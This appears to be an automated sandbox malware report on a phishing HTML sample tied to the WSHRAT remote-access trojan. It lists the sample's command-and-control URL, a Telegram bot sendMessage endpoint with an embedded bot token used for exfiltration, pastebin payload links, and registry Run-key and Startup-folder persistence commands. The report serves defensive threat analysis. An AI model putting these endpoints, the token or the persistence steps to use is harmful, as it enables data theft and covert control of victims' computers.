                                                                                    http://masterokrwh.duckdns.org:8426/is-readysoftwscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                    • Avira URL Cloud: safe
                                                                                    		unknown
                                                                                    https://pastebin.com/raw/NsQ5qTHrnwscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      		high
                                                                                      http://masterokrwh.duckdns.org:8426/is-ready1mwscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                      • Avira URL Cloud: safe
                                                                                      		unknown
                                                                                      http://icons.iconarchive.com/icons/dakirby309/simply-styled/256/Microsoft-SharePoint-2013-icon.pngVoicemail Jud.htmlfalse
                                                                                        		high
                                                                                        http://ip-api.com/VFwscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                          		high
                                                                                          https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessagetwscript.exe, 0000000B.00000003.2094333401.0000000005F93000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            		high
                                                                                            http://masterokrwh.duckdns.org:8426/is-readyUSERwscript.exe, 0000000C.00000002.3664182847.0000000006CBA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                            • Avira URL Cloud: safe
                                                                                            		unknown
                                                                                            https://i.stack.imgur.com/ZU3tO.pngVoicemail Jud.htmlfalse
                                                                                              		high
                                                                                              http://masterokrwh.duckdns.org:8426/is-readymwscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://masterokrwh.duckdns.org:8426/is-readyiwscript.exe, 0000000C.00000002.3664182847.0000000006CBA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://masterokrwh.duckdns.org:8426/is-ready18wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://masterokrwh.duckdns.org:8426/is-ready13wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              http://masterokrwh.duckdns.org:8426/is-readyilwscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://json.geoiplookup.io/Cwscript.exe, 00000011.00000002.3662046027.00000210130B0000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                              • Avira URL Cloud: safe
                                                                                              		unknown
                                                                                              https://pastebin.com/raw/NsQ5qTHr:wscript.exe, 00000011.00000002.3661806513.0000021012F35000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                		high
                                                                                                http://masterokrwh.duckdns.org:8426/is-readydns.org:8426/is-ready4F=wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                • Avira URL Cloud: safe
                                                                                                		unknown
                                                                                                https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessageZwscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  		high
                                                                                                  http://masterokrwh.duckdns.org:8426/is-readyowswscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://masterokrwh.duckdns.org:8426/is-ready4owscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://masterokrwh.duckdns.org:8426/is-ready1Iwscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  http://masterokrwh.duckdns.org:8426/is-readyzwscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                  • Avira URL Cloud: safe
                                                                                                  		unknown
                                                                                                  https://api.telegram.org/bot6968126468:AAFBucF0UmhmKMp_wscript.exe, 0000000B.00000003.2094772697.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000002.2095984043.000000000591A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094069081.000000000591A000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                    		high
                                                                                                    http://pastebin.com/raw/NsQ5qTHrmwscript.exe, 0000000B.00000002.2097462651.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092576951.0000000006A24000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                      		high
                                                                                                      https://pastebin.com/raw/NsQ5qTHrKwscript.exe, 0000000B.00000002.2097462651.0000000006A26000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2092576951.0000000006A24000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                        		high
                                                                                                        http://pastebin.com/raw/NsQ5qTHrowscript.exe, 00000011.00000002.3663058891.0000021013A34000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          		high
                                                                                                          https://json.geoiplookup.io/Swscript.exe, 0000000C.00000002.3661089635.0000000003605000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          http://masterokrwh.duckdns.org:8426/is-readycemailwscript.exe, 0000000C.00000002.3661089635.0000000003659000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          http://masterokrwh.duckdns.org:8426/is-readycomwscript.exe, 0000000C.00000002.3663272487.0000000006493000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                          • Avira URL Cloud: safe
                                                                                                          		unknown
                                                                                                          https://pastebin.com/raw/NsQ5qTHrLwscript.exe, 0000000B.00000002.2095486810.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2091854276.0000000003370000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2093298186.0000000003370000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            		high
                                                                                                            http://masterokrwh.duckdns.org:8426/is-ready4Cwscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                            • Avira URL Cloud: safe
                                                                                                            		unknown
                                                                                                            http://masterokrwh.duckdns.org:8426/is-readyIwscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              		unknown
                                                                                                              http://masterokrwh.duckdns.org:8426/is-readyWdtP.wscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                              • Avira URL Cloud: safe
                                                                                                              		unknown
                                                                                                              http://ip-api.com/json/awscript.exe, 0000000B.00000003.2092865617.0000000005A1E000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3662661142.0000000005DCA000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3662635567.00000210134D5000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                		high
                                                                                                                http://masterokrwh.duckdns.org:8426/is-readyCreationClassNamewscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                • Avira URL Cloud: safe
                                                                                                                		unknown
                                                                                                                https://api.telegram.org:443/bot6968126468:AAFBucF0UmhmKMp_RgCJWJVC7hjGAO25mwg/sendMessageAccept-Lanwscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                  		high
                                                                                                                  https://pastebin.com:443/raw/NsQ5qTHrwscript.exe, 00000011.00000002.3663058891.00000210139EA000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                    		high
                                                                                                                    https://pastebin.com/raw/NsQ5qTHr_nwscript.exe, 0000000B.00000003.2094333401.0000000005F93000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                      		high
                                                                                                                      http://masterokrwh.duckdns.org:8426/is-readyZwscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776519179.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2776352925.0000000006CBF000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228201928.0000000006CC2000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2484400833.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                        		unknown
                                                                                                                        https://pastebin.com/wscript.exe, 0000000B.00000002.2097000697.00000000069D0000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000011.00000002.3663058891.00000210139C7000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          		high
                                                                                                                          http://masterokrwh.duckdns.org:8426/is-readyTwscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          https://json.geowscript.exe, 0000000B.00000002.2095763149.000000000351D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000B.00000003.2094811669.000000000351D000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3661710807.00000000038AD000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                          • Avira URL Cloud: safe
                                                                                                                          		unknown
                                                                                                                          http://ip-api.com/json/Wwscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            		high
                                                                                                                            https://json.geouwscript.exe, 0000000B.00000003.2094115487.000000000351D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                            • Avira URL Cloud: safe
                                                                                                                            		unknown
                                                                                                                            https://pastebin.com/raw/NsQ5qTHr(F/twscript.exe, 0000000C.00000002.3663596969.0000000006C18000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              		high
                                                                                                                              http://masterokrwh.duckdns.org:8426/is-readyPwscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                              • Avira URL Cloud: safe
                                                                                                                              		unknown
                                                                                                                              http://ip-api.com/json/ycenter2wscript.exe, 0000000C.00000003.2776352925.0000000006C83000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228222744.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3408815710.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.2479805019.0000000006C84000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000003.3228443840.0000000006C75000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 0000000C.00000002.3663596969.0000000006C75000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                		high
                                                                                                                                http://masterokrwh.duckdns.org:8426/is-ready4Ewscript.exe, 0000000C.00000002.3661089635.00000000035A8000.00000004.00000020.00020000.00000000.sdmpfalse
                                                                                                                                • Avira URL Cloud: safe
                                                                                                                                		unknown

                                                                                                                                World Map of Contacted IPs

                                                                                                                                • No. of IPs < 25%
                                                                                                                                • 25% < No. of IPs < 50%
                                                                                                                                • 50% < No. of IPs < 75%
                                                                                                                                • 75% < No. of IPs

                                                                                                                                Public IPs

                                                                                                                                IPDomainCountryFlagASNASN NameMalicious
                                                                                                                                199.232.192.193
                                                                                                                                		ipv4.imgur.map.fastly.netUnited States
                                                                                                                                		54113FASTLYUSfalse
                                                                                                                                172.66.47.2
                                                                                                                                		cloudgoogle.pages.devUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                45.133.174.75
                                                                                                                                		masterokrwh.duckdns.orgUnited Kingdom
                                                                                                                                		207189ASBLANKPROXIESGBtrue
                                                                                                                                172.66.47.26
                                                                                                                                		unknownUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                149.154.167.220
                                                                                                                                		api.telegram.orgUnited Kingdom
                                                                                                                                		62041TELEGRAMRUfalse
                                                                                                                                208.95.112.1
                                                                                                                                		ip-api.comUnited States
                                                                                                                                		53334TUT-ASUSfalse
                                                                                                                                104.21.25.148
                                                                                                                                		json.geoiplookup.ioUnited States
                                                                                                                                		13335CLOUDFLARENETUStrue
                                                                                                                                239.255.255.250
                                                                                                                                		unknownReserved
                                                                                                                                		unknownunknownfalse
                                                                                                                                172.67.19.24
                                                                                                                                		pastebin.comUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                172.67.162.195
                                                                                                                                		pastie.ioUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                172.217.4.68
                                                                                                                                		www.google.comUnited States
                                                                                                                                		15169GOOGLEUSfalse
                                                                                                                                172.66.44.230
                                                                                                                                		cviocemusikdanxcehal.pages.devUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                104.21.235.214
                                                                                                                                		icons.iconarchive.comUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                104.21.235.213
                                                                                                                                		unknownUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse
                                                                                                                                104.21.10.93
                                                                                                                                		unknownUnited States
                                                                                                                                		13335CLOUDFLARENETUSfalse

                                                                                                                                Private

                                                                                                                                IP
                                                                                                                                192.168.2.4

                                                                                                                                General Information

                                                                                                                                Joe Sandbox version:40.0.0 Tourmaline
                                                                                                                                Analysis ID:1439837
                                                                                                                                Start date and time:2024-05-10 21:30:22 +02:00
                                                                                                                                Joe Sandbox product:CloudBasic
                                                                                                                                Overall analysis duration:0h 7m 3s
                                                                                                                                Hypervisor based Inspection enabled:false
                                                                                                                                Report type:full
                                                                                                                                Cookbook file name:defaultwindowshtmlcookbook.jbs
                                                                                                                                Analysis system description:Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
                                                                                                                                Number of analysed new started processes analysed:19
                                                                                                                                Number of new started drivers analysed:0
                                                                                                                                Number of existing processes analysed:0
                                                                                                                                Number of existing drivers analysed:0
                                                                                                                                Number of injected processes analysed:0
                                                                                                                                Technologies:
                                                                                                                                • HCA enabled
                                                                                                                                • EGA enabled
                                                                                                                                • AMSI enabled
                                                                                                                                Analysis Mode:default
                                                                                                                                Analysis stop reason:Timeout
                                                                                                                                Sample name:Voicemail Jud.html
                                                                                                                                Detection:MAL
                                                                                                                                Classification:mal100.phis.troj.expl.evad.winHTML@44/28@37/16
                                                                                                                                EGA Information:
                                                                                                                                • Successful, ratio: 33.3%
                                                                                                                                HCA Information:
                                                                                                                                • Successful, ratio: 100%
                                                                                                                                • Number of executed functions: 43
                                                                                                                                • Number of non-executed functions: 0
                                                                                                                                Cookbook Comments:
                                                                                                                                • Found application associated with file extension: .html

                                                                                                                                Warnings

                                                                                                                                • Exclude process from analysis (whitelisted): MpCmdRun.exe, WMIADAP.exe, SIHClient.exe, conhost.exe, svchost.exe
                                                                                                                                • Excluded IPs from analysis (whitelisted): 142.250.190.67, 142.250.111.84, 142.250.191.238, 34.104.35.123, 199.232.210.172, 192.229.211.108, 172.217.5.10, 172.217.0.170, 142.250.191.234, 142.250.191.202, 142.250.191.170, 142.250.191.106, 172.217.4.42, 142.250.191.138, 172.217.2.35, 142.250.191.174
                                                                                                                                • Excluded domains from analysis (whitelisted): clients1.google.com, fs.microsoft.com, accounts.google.com, slscr.update.microsoft.com, ctldl.windowsupdate.com, clientservices.googleapis.com, fe3cr.delivery.mp.microsoft.com, clients2.google.com, ocsp.digicert.com, edgedl.me.gvt1.com, update.googleapis.com, clients.l.google.com, optimizationguide-pa.googleapis.com
                                                                                                                                • Execution Graph export aborted for target wscript.exe, PID 1544 because there are no executed function
                                                                                                                                • Execution Graph export aborted for target wscript.exe, PID 7076 because there are no executed function
                                                                                                                                • HTTPS proxy raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.
                                                                                                                                • Not all processes where analyzed, report is missing behavior information
                                                                                                                                • Report size exceeded maximum capacity and may have missing behavior information.
                                                                                                                                • Report size getting too big, too many NtOpenKeyEx calls found.
                                                                                                                                • Report size getting too big, too many NtProtectVirtualMemory calls found.
                                                                                                                                • Report size getting too big, too many NtQueryValueKey calls found.
                                                                                                                                • Report size getting too big, too many NtSetInformationFile calls found.
                                                                                                                                • VT rate limit hit for: Voicemail Jud.html

                                                                                                                                Simulations

                                                                                                                                Behavior and APIs

                                                                                                                                TimeTypeDescription
                                                                                                                                20:31:57AutostartRun: HKCU\Software\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4 wscript.exe //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                20:32:05AutostartRun: HKLM\Software\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4 wscript.exe //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                20:32:13AutostartRun: HKCU64\Software\Microsoft\Windows\CurrentVersion\Run New Voicemail May 9 _mp4 wscript.exe //B "C:\Users\user\AppData\Local\Temp\New Voicemail May 9 _mp4.js"
                                                                                                                                20:32:22AutostartRun: C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\New Voicemail May 9 _mp4.js
                                                                                                                                21:31:55API Interceptor2x Sleep call for process: wscript.exe modified

                                                                                                                                Joe Sandbox View / Context

                                                                                                                                IPs

                                                                                                                                MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                149.154.167.220DHL3546.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                  DevxExecutor.exeGet hashmaliciousPython Stealer, Blank Grabber, CStealer, Discord Token Stealer, Millenuim RATBrowse
                                                                                                                                    lzkaYYrJbB.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                      MNhTlD222T.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                        ORDER_INQUIRY_PDF.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                          rREQUESTFORQUOTATION2024.scr.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                            SecuriteInfo.com.Trojan.DownLoader16.37524.18705.18225.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                              Se7CZnlXZZ.exeGet hashmaliciousAgentTesla, PureLog Stealer, zgRATBrowse
                                                                                                                                                vjk2FB3esY.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                  COMPANY PROFILE_pdf.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                    199.232.192.193http://srv212826.hoster-test.ru/hn/spc/#Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                      http://bottlenose-basalt-leech.glitch.me/arrang12archspid.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                        POP Purchase Order (Single).xls.shtmlGet hashmaliciousUnknownBrowse
                                                                                                                                                          PO723-0830-01-R1.Xls.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                            allurebestofbeauty Invoice and Shipping Docs.ShtmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                              New P0.shtmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                http://t.co/qNJEUC0iimGet hashmaliciousUnknownBrowse
                                                                                                                                                                  http://rabitsokuhou.2chblog.jpGet hashmaliciousUnknownBrowse
                                                                                                                                                                    Wire Transfer confirmation.shtmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                      172.66.47.2https://collettre-7jk.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                        https://collettre-7jk.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                          https://collettre-7jk.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                            https://collettre-7jk.pages.dev/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                              https://l.wl.co/l?u=http://sme.in/Authenticate.aspx?PageName=https://get-your-onedrive-fi.pages.dev/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                Biolegend Review on New Update Document Distribution Return&Sign.emlGet hashmaliciousUnknownBrowse
                                                                                                                                                                                  Biolegend Announcement No.680213 Export Control Checklist DD Slip February 24..emlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                    45.133.174.75Invoice-883973938.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    Invoice Payment N8977823.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    Pending_Invoice_Bank_Details_XLSX.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    Pending_Invoice_Bank_Details_kofce_.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    Dadebehring PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    PendingInvoiceBankDetails.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    Update on Payment.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                    • masterokrwh.duckdns.org:8426/is-ready
                                                                                                                                                                                    172.66.47.26https://meihjzidw0caomthdd099teatzijpgxcnsrzbo4blcdevjetx.pages.dev/smart89/Get hashmaliciousUnknownBrowse

                                                                                                                                                                                      Domains

                                                                                                                                                                                      MatchAssociated Sample Name / URLSHA 256DetectionThreat NameLinkContext
                                                                                                                                                                                      json.geoiplookup.ioInvoice-883973938.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 172.67.134.82
                                                                                                                                                                                      Invoice Payment N8977823.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      Pending_Invoice_Bank_Details_XLSX.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      Pending_Invoice_Bank_Details_kofce_.JS.jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      2024 9_45_44 p.m..jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 172.67.134.82
                                                                                                                                                                                      2024 9_45_44 p.m..jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      2024 8_35_29 p.m..jsGet hashmaliciousWSHRATBrowse
                                                                                                                                                                                      • 172.67.134.82
                                                                                                                                                                                      2024 8_35_29 p.m..jsGet hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 172.67.134.82
                                                                                                                                                                                      Overdue InvoiceDetails of the bank transfer Payment.htmGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 172.67.134.82
                                                                                                                                                                                      https://al2cho69m.pages.dev/Get hashmaliciousUnknownBrowse
                                                                                                                                                                                      • 104.21.25.148
                                                                                                                                                                                      ip-api.comthingsto.docGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      7xVuUXjY8D.exeGet hashmaliciousXWormBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      PO-20240510.xla.xlsxGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      GbZGM.vbsGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      USD 8800.xlsGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      Shipping Advice.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      NFs_76042.msiGet hashmaliciousPrivateLoader, VMdetectBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      DHL3546.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      DHL Shipment Doc_AWB 5092675620.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      DHL Shipment - AWB 3734166170.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 208.95.112.1
                                                                                                                                                                                      icons.iconarchive.comhttps://dinamicconsultores.app.questorpublico.com.br/Get hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.235.214
                                                                                                                                                                                      https://ipfs.io/ipfs/QmZpUYofo5YMUPjoiE92pyBW6JyW86awNYmrRuj5vTUVJ7/index2new1705.html#ivy@bvz.co.zaGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.185
                                                                                                                                                                                      Salary_Increase_Datasheet_Febuary_2023.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.186
                                                                                                                                                                                      2022 3%3A17%3A48 p.m..htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.186
                                                                                                                                                                                      2022 4%3A55%3A04 a.m..htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.185
                                                                                                                                                                                      Voicemail_Records_8182022 102600 p.m..htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.181
                                                                                                                                                                                      Voicemail_Records_8262022 93012 am_d240d1d8ea2942099314a76c8532e571.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.181
                                                                                                                                                                                      Voicemail_Records_8_24_2022 1_09_01 a.m..htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.182
                                                                                                                                                                                      Voicemail_Records_8232022 30807 a.m.htmlGet hashmaliciousHTMLPhisherBrowse
                                                                                                                                                                                      • 104.21.233.182
                                                                                                                                                                                      api.telegram.orgDHL3546.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      DevxExecutor.exeGet hashmaliciousPython Stealer, Blank Grabber, CStealer, Discord Token Stealer, Millenuim RATBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      lzkaYYrJbB.exeGet hashmaliciousAgentTeslaBrowse
                                                                                                                                                                                      • 149.154.167.220
                                                                                                                                                                                      MNhTlD222T.exeGet hashmaliciousAgentTesla, PureLog StealerBrowse
                                                                                                                                                                                      • 149.154.167.220
